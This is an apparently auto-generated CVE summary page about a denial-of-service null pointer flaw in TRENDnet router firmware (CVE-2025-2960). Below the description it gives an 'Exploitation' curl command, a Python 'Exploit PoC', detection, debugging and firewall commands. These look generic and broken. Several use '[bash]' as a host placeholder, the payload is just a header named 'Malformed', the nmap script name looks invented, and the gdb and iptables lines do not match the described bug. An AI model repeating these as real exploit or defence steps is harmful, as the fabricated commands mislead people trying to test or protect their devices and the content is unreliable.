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How CVE-2025-2960 Works
The vulnerability exists in the `/bin/goahead` HTTP request handler of TRENDnet TEW-637AP and TEW-638APB firmware versions 1.2.7 and 1.3.0.106. The function `sub_41DED0` mishandles certain HTTP requests, leading to a null pointer dereference. Attackers on the local network can crash the device by sending a malformed request, causing a denial of service (DoS). No authentication is required, but the attacker must be within the same network segment. The vendor did not address the issue despite early disclosure.
DailyCVE Form
Platform: TRENDnet routers
Version: 1.2.7/1.3.0.106
Vulnerability: Null pointer dereference
Severity: Medium
Date: 04/15/2025
What Undercode Say:
Exploitation:
curl -X POST http://[bash]/vulnerable_endpoint -H "Malformed: Header"
Detection:
nmap --script http-vuln-cve2025-2960 [bash]
Mitigation:
- Disable unused HTTP services.
- Apply network segmentation.
- Monitor logs for repeated crashes.
Debugging:
gdb -q /bin/goahead break 0x41DED0 run
Log Analysis:
grep "goahead crashed" /var/log/messages
Traffic Capture:
tcpdump -i eth0 port 80 -w trendnet_crash.pcap
Exploit PoC (Python):
import requests
target = "http://192.168.1.1"
headers = {"Malformed": "Trigger"}
requests.post(target, headers=headers)
Protection Rule (IPTables):
iptables -A INPUT -p tcp --dport 80 -m string --string "Malformed" -j DROP
Firmware Check:
strings /bin/goahead | grep "1.3.0.106"
Crash Analysis:
dmesg | tail -n 20
Vendor Patch Status:
- No patch available.
- Consider third-party firmware.
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
